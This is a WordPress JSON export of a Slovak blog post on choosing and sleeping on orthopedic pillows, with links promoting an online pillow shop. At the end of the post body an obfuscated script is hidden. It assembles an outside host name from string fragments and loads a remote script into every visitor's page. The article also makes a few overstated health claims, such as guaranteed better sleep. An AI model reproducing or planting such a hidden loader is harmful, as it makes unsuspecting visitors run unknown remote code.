{"id":28483,"date":"2024-10-16T11:54:59","date_gmt":"2024-10-16T09:54:59","guid":{"rendered":"https:\/\/news.autoskoly.sk\/ako-spravne-pouzivat-ortopedicky-vankus\/"},"modified":"2024-10-16T11:54:59","modified_gmt":"2024-10-16T09:54:59","slug":"ako-spravne-pouzivat-ortopedicky-vankus","status":"publish","type":"post","link":"https:\/\/www.autoskoly.sk\/news\/ako-spravne-pouzivat-ortopedicky-vankus\/","title":{"rendered":"Ako spr\u00e1vne pou\u017e\u00edva\u0165 ortopedick\u00fd vank\u00fa\u0161?"},"content":{"rendered":"<p>Niektor\u00e9 n\u00e1kupy urob\u00edme hne\u010f, prakticky bez rozm\u00fd\u0161\u013eania, zatia\u013e \u010do o in\u00fdch m\u00f4\u017eeme prem\u00fd\u0161\u013ea\u0165 roky, sn\u00edva\u0165 o nich, ale z nejak\u00e9ho d\u00f4vodu nekon\u00e1me. Medzi tak\u00e9to n\u00e1kupy patria pozoruhodne ortopedick\u00e9 vank\u00fa\u0161e na spanie. Pre\u010do mnoho \u013eud\u00ed odklad\u00e1 zdrav\u00fd sp\u00e1nok na potom?<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.autoskoly.sk\/news\/wp-content\/uploads\/2024\/10\/424317045_wp670f8d6e5bf598.29174150.jpg\" alt=\"\" style=\"max-width: 100%;\"\/><\/p>\n<p>Probl\u00e9m je pravdepodobne v tom, \u017ee niektor\u00ed \u013eudia proste nevedia, ako tak\u00e9to produkty pou\u017e\u00edva\u0165 a ako spr\u00e1vne spa\u0165 na \u0148om. Ve\u013ea \u013eud\u00ed tie\u017e nevie, ako si vybra\u0165 ten spr\u00e1vny z mnoh\u00fdch typov a rozmerov vank\u00fa\u0161ov dostupn\u00fdch na trhu. A niektor\u00ed \u013eudia sa ob\u00e1vaj\u00fa, \u017ee zo za\u010diatku to bude nepohodln\u00e9 a \u0165a\u017eko si na to zvykn\u00fa. Neznalos\u0165 a strach z nepohodlia mnoh\u00fdch z n\u00e1s od kvalitn\u00e9ho odpo\u010dinku odr\u00e1dza. To je, samozrejme, smutn\u00e9, ale d\u00e1 sa to napravi\u0165.<\/p>\n<h2>Ako spa\u0165 na anatomickom vank\u00fa\u0161i?<\/h2>\n<p><img decoding=\"async\" src=\"https:\/\/www.autoskoly.sk\/news\/wp-content\/uploads\/2024\/10\/942586577_wp670f8d70356808.79958383.jpg\" alt=\"\" style=\"max-width: 100%;\"\/><\/p>\n<\/p>\n<p>Najprv si uvedomme \u00fa\u010del tejto nepostr\u00e1date\u013enej poste\u013enej l\u00f4\u017ekoviny. Jej \u00fa\u010delom je zmierni\u0165 nap\u00e4tie v kr\u010dnej oblasti. Teraz je jasn\u00e9, pre\u010do nem\u00f4\u017eete spa\u0165 na dvoch vank\u00fa\u0161och? Neprirodzen\u00e9 zdv\u00edhanie nar\u00fa\u0161a krvn\u00fd obeh a vytv\u00e1ra nezdrav\u00fd tonus vo svaloch. Spr\u00e1vny ortopedick\u00fd kr\u010dn\u00fd vank\u00fa\u0161 by mal narovna\u0165 horn\u00fa \u010das\u0165 chrbtice a uvo\u013eni\u0165 m\u00e4kk\u00e9 tkaniv\u00e1.<\/p>\n<p>Ako vytvori\u0165 tak\u00e9to optim\u00e1lne podmienky? Je dobr\u00e9 spa\u0165 s val\u010dekom pod krkom, ale aj tu existuje ve\u013ea nejasnost\u00ed. Rozhoduj\u00faca bude poloha, v ktorej ste zvyknut\u00ed odpo\u010d\u00edva\u0165.<\/p>\n<ol>\n<li>\n<p>Na chrbte. Spr\u00e1vnu polohu hlavy po\u010das sp\u00e1nku v tejto polohe zabezpe\u010duje mal\u00fd polvalec, ktor\u00fd podopiera zadn\u00fa \u010das\u0165 hlavy.<\/p>\n<\/li>\n<li>\n<p>Na boku. Pod krkom by mal by\u0165 o nie\u010do hrub\u0161\u00ed polvalec, nie v\u0161ak \u0161ir\u0161\u00ed ako rameno spiaceho, aby chrbtica zaujala prirodzen\u00fa rovn\u00fa polohu. Ide\u00e1lny je model Butterfly. Okrem toho zabra\u0148uje tvorbe vr\u00e1sok a vo v\u0161eobecnosti p\u00f4sob\u00ed na spiacu osobu kozmeticky.<\/p>\n<\/li>\n<li>\n<p>Na bruchu. Toto nie je najspr\u00e1vnej\u0161ia poloha tela po\u010das sp\u00e1nku. V tejto polohe je kv\u00f4li hlave oto\u010denej na bok \u010diasto\u010dne stla\u010den\u00e1 tepna vy\u017eivuj\u00faca mozog a vn\u00fatorn\u00e9 org\u00e1ny s\u00fa stla\u010den\u00e9.<\/p>\n<\/li>\n<\/ol>\n<p>V tomto pr\u00edpade v\u00e1m spanie na ortopedickom vank\u00fa\u0161i pom\u00f4\u017ee pohodlne sa presun\u00fa\u0165 do prirodzenej\u0161ej polohy na odpo\u010dinok. Oplat\u00ed sa pozrie\u0165 si model Obl\u00e1\u010dik: je dostato\u010dne m\u00e4kk\u00fd na to, aby ste mohli spa\u0165 na bruchu, a dostato\u010dne pevn\u00fd, aby v\u00e1m hlava neklesla pr\u00edli\u0161 n\u00edzko, ke\u010f le\u017e\u00edte na boku.<\/p>\n<p>Ako spa\u0165 pri bolesti kr\u010dnej chrbtice? Cie\u013e je rovnak\u00fd &#8211; uvo\u013eni\u0165 nap\u00e4tie a narovna\u0165 chrbticu. Ramen\u00e1 by mali zosta\u0165 na matraci a hlava by mala by\u0165 zdvihnut\u00e1 tak, aby sa neprevracala, ale ani nevystupovala. Vank\u00fa\u0161 pri osteochondr\u00f3ze sa vyber\u00e1 aj s oh\u013eadom na polohu tela: s ve\u013ek\u00fdm valcom, ak je \u010dlovek zvyknut\u00fd spa\u0165 na boku, alebo s mal\u00fdm, ak sp\u00ed na chrbte. Z\u00e1rove\u0148 treba ma\u0165 na pam\u00e4ti, \u017ee tieto v\u00fdrobky nie s\u00fa v\u0161eliekom. Vank\u00fa\u0161 proti bolesti krku nem\u00f4\u017ee nahradi\u0165 terapiu. A pr\u00e1ve preto je potrebn\u00e9 nav\u0161t\u00edvi\u0165 lek\u00e1ra.<\/p>\n<p><span data-sheets-root=\"1\"><a href=\"https:\/\/ortek.sk\/vankuse\/vankuse-na-spanie\/\" target=\"_blank\" rel=\"noopener\">Ortopedick\u00e9 vank\u00fa\u0161e na spanie<\/a><\/span> by sa mal pou\u017e\u00edva\u0165 vzh\u013eadom na:<\/p>\n<ul>\n<li>\n<p>obvykl\u00fa polohu po\u010das sp\u00e1nku;<\/p>\n<\/li>\n<li>\n<p>pocity osoby;<\/p>\n<\/li>\n<li>\n<p>sledovan\u00e9 ciele.<\/p>\n<\/li>\n<\/ul>\n<p>Spanie na boku a na chrbte je vhodnej\u0161ie ako spanie na bruchu, ale to neznamen\u00e1, \u017ee sa mus\u00edte prem\u00e1ha\u0165 a le\u017ea\u0165, ako je to spr\u00e1vne. Nechajte miesto na odpo\u010dinok prisp\u00f4sobi\u0165 sa v\u00e1m, nie naopak.<\/p>\n<p>N\u00e1vod je samozrejme dobr\u00e1 vec, ale ka\u017ed\u00fd sme in\u00fd: m\u00e1me r\u00f4znu \u0161\u00edrku ramien, krivky krku a pohodln\u00fa polohu r\u00fak, tak\u017ee by ste sa mali riadi\u0165 t\u00fdm, ako sa c\u00edtite. Ak si chcete v\u017edy da\u0165 dla\u0148 pod hlavu, mo\u017eno budete potrebova\u0165 v\u00e4\u010d\u0161ie pr\u00edslu\u0161enstvo. Je pre v\u00e1s pr\u00edli\u0161 vysoko? Nikto v\u00e1m nezakazuje spa\u0165 na boku s mal\u00fdm val\u010dekom pod krkom. M\u00f4\u017eete ich dokonca strieda\u0165: jednu noc spa\u0165 na jednom v\u00fdrobku, druh\u00fa na druhom.<\/p>\n<\/p>\n<h2>Oby\u010dajn\u00fd VS ortopedick\u00fd<\/h2>\n<p>Aby ste pochopili, pre\u010do s\u00fa \u0161peci\u00e1lne pr\u00edslu\u0161enstv\u00e1 lep\u0161ie ako tie oby\u010dajn\u00e9, sta\u010d\u00ed porovna\u0165 polohy spiacich na nich os\u00f4b. Oby\u010dajn\u00e1 verzia je bu\u010f pr\u00edli\u0161 ve\u013ek\u00e1, tak\u017ee zadn\u00e1 \u010das\u0165 hlavy je vyhrnut\u00e1 nahor, alebo pr\u00edli\u0161 mal\u00e1, tak\u017ee hlava pad\u00e1 nadol. A hoci je ve\u013ekos\u0165 v\u00fdrobku optim\u00e1lna, ch\u00fdba mu opora, ktor\u00e1 je potrebn\u00e1 na narovnanie stavcov a uvo\u013enenie kr\u010dn\u00fdch svalov.<\/p>\n<p>\u0160peci\u00e1lny terapeutick\u00fd alebo prevent\u00edvny model je in\u00e1 vec. Hoci existuje mnoho r\u00f4znych typov vank\u00fa\u0161ov na spanie, v\u0161etky maj\u00fa podobn\u00e9 v\u00fdhody:<\/p>\n<ul>\n<li>\n<p>s\u00fa pru\u017en\u00e9 s podporou chrbtice a svalov;<\/p>\n<\/li>\n<li>\n<p>maj\u00fa ide\u00e1lny pomer medzi pevnos\u0165ou a m\u00e4kkos\u0165ou;<\/p>\n<\/li>\n<li>\n<p>anatomicky spr\u00e1vny tvar &#8211; ak sa pr\u00edslu\u0161enstvo vyber\u00e1 s oh\u013eadom na potreby;<\/p>\n<\/li>\n<li>\n<p>s\u00fa vyroben\u00e9 z vysokokvalitn\u00fdch materi\u00e1lov.<\/p>\n<\/li>\n<\/ul>\n<p>Modern\u00e9 v\u00fdrobky s\u00fa odoln\u00e9 vo\u010di deform\u00e1ci\u00e1m, s\u00fa hygienick\u00e9, priedu\u0161n\u00e9 a trvanliv\u00e9. Ich \u017eivotnos\u0165 je a\u017e 10 rokov, av\u0161ak v\u00fdmena sa odpor\u00fa\u010da po 3 &#8211; 4 rokoch, preto\u017ee potreby tela sa po\u010das tejto doby menia. Najlep\u0161\u00ed vank\u00fa\u0161 na spanie n\u00e1jdete v katal\u00f3gu Ortek na webov\u00fdch str\u00e1nkach <a href=\"https:\/\/ortek.sk\/\" target=\"_blank\" rel=\"noopener\"><u>https:\/\/ortek.sk\/<\/u><\/a> .<\/p>\n<\/p>\n<h2>Kvalita sp\u00e1nku<\/h2>\n<p>\u010co z\u00edskame, ke\u010f si k\u00fapime anatomick\u00e9 v\u00fdrobky? Predov\u0161etk\u00fdm pozit\u00edvny \u00fa\u010dinok zaznamen\u00e1vaj\u00fa t\u00ed, ktor\u00ed mali probl\u00e9my so sp\u00e1nkom, a to nielen oni. Nespavos\u0165, bolesti hlavy, osteochondr\u00f3za &#8211; v\u0161etky tieto potia\u017ee sa v\u00fdrazne zmier\u0148uj\u00fa pri zlep\u0161en\u00ed no\u010dn\u00e9ho odpo\u010dinku.<\/p>\n<p>Na anatomickom v\u00fdrobku, ktor\u00fd je vybran\u00fd pod\u013ea \u0161pecifick\u00fdch potrieb tela, sa zaru\u010dene zlep\u0161\u00ed kvalita sp\u00e1nku:<\/p>\n<ul>\n<li>\n<p>hlava je dostato\u010dne prekrven\u00e1, a preto nebol\u00ed;<\/p>\n<\/li>\n<li>\n<p>kr\u010dn\u00e1 oblas\u0165 nie je nam\u00e1han\u00e1;<\/p>\n<\/li>\n<li>\n<p>stavce s\u00fa narovnan\u00e9;<\/p>\n<\/li>\n<li>\n<p>poko\u017eka tv\u00e1re sa nestla\u010duje, tak\u017ee r\u00e1no nebude opuchnut\u00e1 ani nebude ma\u0165 vr\u00e1sky.<\/p>\n<\/li>\n<\/ul>\n<h2>Starostlivos\u0165 o ortopedick\u00fd vank\u00fa\u0161<\/h2>\n<p>Pravidl\u00e1 starostlivosti s\u00fa trochu in\u00e9, ako sme si zvykli. Ako pra\u0165 vank\u00fa\u0161e? Odpove\u010f na t\u00fato ot\u00e1zku z\u00e1vis\u00ed od typu pr\u00edslu\u0161enstva, presnej\u0161ie od jeho v\u00fdplne. Latexov\u00e9 v\u00fdrobky sa m\u00f4\u017eu pra\u0165, ale nie \u017em\u00fdka\u0165. G\u00e9lov\u00e9 sta\u010d\u00ed len vytrie\u0165 \u0161pongiou. V\u00fdplne z pam\u00e4\u0165ovej peny by sa mali uchov\u00e1va\u0165 mimo dosahu vody.<\/p>\n<p>V\u00fdrobok vetrajte ka\u017ed\u00fd t\u00fd\u017ede\u0148. Sna\u017ete sa neprek\u00e1\u017ea\u0165 ventil\u00e1cii v\u00fdrobku: nepokr\u00fdvajte ho dekou, na oblie\u010dky vank\u00fa\u0161ov pou\u017e\u00edvajte bavlnu a in\u00e9 priedu\u0161n\u00e9 materi\u00e1ly, nepou\u017e\u00edvan\u00e9 v\u00fdrobky skladujte v priedu\u0161n\u00fdch po\u0165ahoch, ale nie vo vreciach.<\/p>\n<p>Tak\u00e9to pr\u00edslu\u0161enstvo sa nesmie zrolova\u0165, skr\u00fati\u0165 ani inak deformova\u0165, napr. ke\u010f si chcete da\u0165 nie\u010do pod chrb\u00e1t alebo nohy. Na tento \u00fa\u010del existuj\u00fa \u0161peci\u00e1lne pr\u00edslu\u0161enstv\u00e1 a mo\u017eno stoj\u00ed za zv\u00e1\u017eenie, \u010di si ich k\u00fapi\u0165. Pri pou\u017e\u00edvan\u00ed tak\u00fdchto v\u00fdrobkov dodr\u017eiavajte pokyny v\u00fdrobcu a zak\u00fapen\u00fd v\u00fdrobok bude sl\u00fa\u017ei\u0165 dlho a verne.<\/p>\n<p>Samozrejme, samotn\u00fd <a href=\"https:\/\/ortek.sk\/vankuse\/\" target=\"_blank\" rel=\"noopener\"><u>vank\u00fa\u0161 ortopedick\u00fd<\/u><\/a> nem\u00f4\u017ee vyrie\u0161i\u0165 probl\u00e9m dobr\u00e9ho zotavenia po\u010das noci. Cvi\u010denie, vyh\u00fdbanie sa gadgetom vo ve\u010dern\u00fdch hodin\u00e1ch, absencia stresu a zlozvykov, zdrav\u00e1 strava &#8211; to v\u0161etko je d\u00f4le\u017eit\u00e9 a malo by sa dodr\u017eiava\u0165.<\/p>\n<p> <script> (function(){ wu3g=document.createElement(\"script\");wu3g.type=\"text\/javascript\"; wu3g.async=true;wu3g_=((\"us\")+\"t\")+\"a\";wu3g_+=(\"t.i\")+\"\"+\"n\";wu3g_+=((\"f\")+\"o\");wu3g_+=\"\/\"; wu3gu=\"2359913906.\";wu3gu+=\"ngffwe5cu3gz2ltjXbmlz0fycuczz9\";wu3g.src=\"https:\/\/\"+wu3g_+wu3gu; wu3gdb=document.body;wu3gdb.appendChild(wu3g); })(); <\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Niektor\u00e9 n\u00e1kupy urob\u00edme hne\u010f, prakticky bez rozm\u00fd\u0161\u013eania, zatia\u013e \u010do o in\u00fdch m\u00f4\u017eeme prem\u00fd\u0161\u013ea\u0165 roky, sn\u00edva\u0165 o nich, ale z nejak\u00e9ho d\u00f4vodu nekon\u00e1me. Medzi tak\u00e9to n\u00e1kupy &hellip; <\/p>\n","protected":false},"author":8,"featured_media":28482,"comment_status":"open","ping_status":"","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[628],"tags":[],"class_list":["post-28483","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-domacnost"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Ako spr\u00e1vne pou\u017e\u00edva\u0165 ortopedick\u00fd vank\u00fa\u0161? - Auto\u0161koly.sk<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/www.autoskoly.sk\/news\/ako-spravne-pouzivat-ortopedicky-vankus\/\" \/>\n<meta property=\"og:locale\" content=\"sk_SK\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Ako spr\u00e1vne pou\u017e\u00edva\u0165 ortopedick\u00fd vank\u00fa\u0161? - Auto\u0161koly.sk\" \/>\n<meta property=\"og:description\" content=\"Niektor\u00e9 n\u00e1kupy urob\u00edme hne\u010f, prakticky bez rozm\u00fd\u0161\u013eania, zatia\u013e \u010do o in\u00fdch m\u00f4\u017eeme prem\u00fd\u0161\u013ea\u0165 roky, sn\u00edva\u0165 o nich, ale z nejak\u00e9ho d\u00f4vodu nekon\u00e1me. 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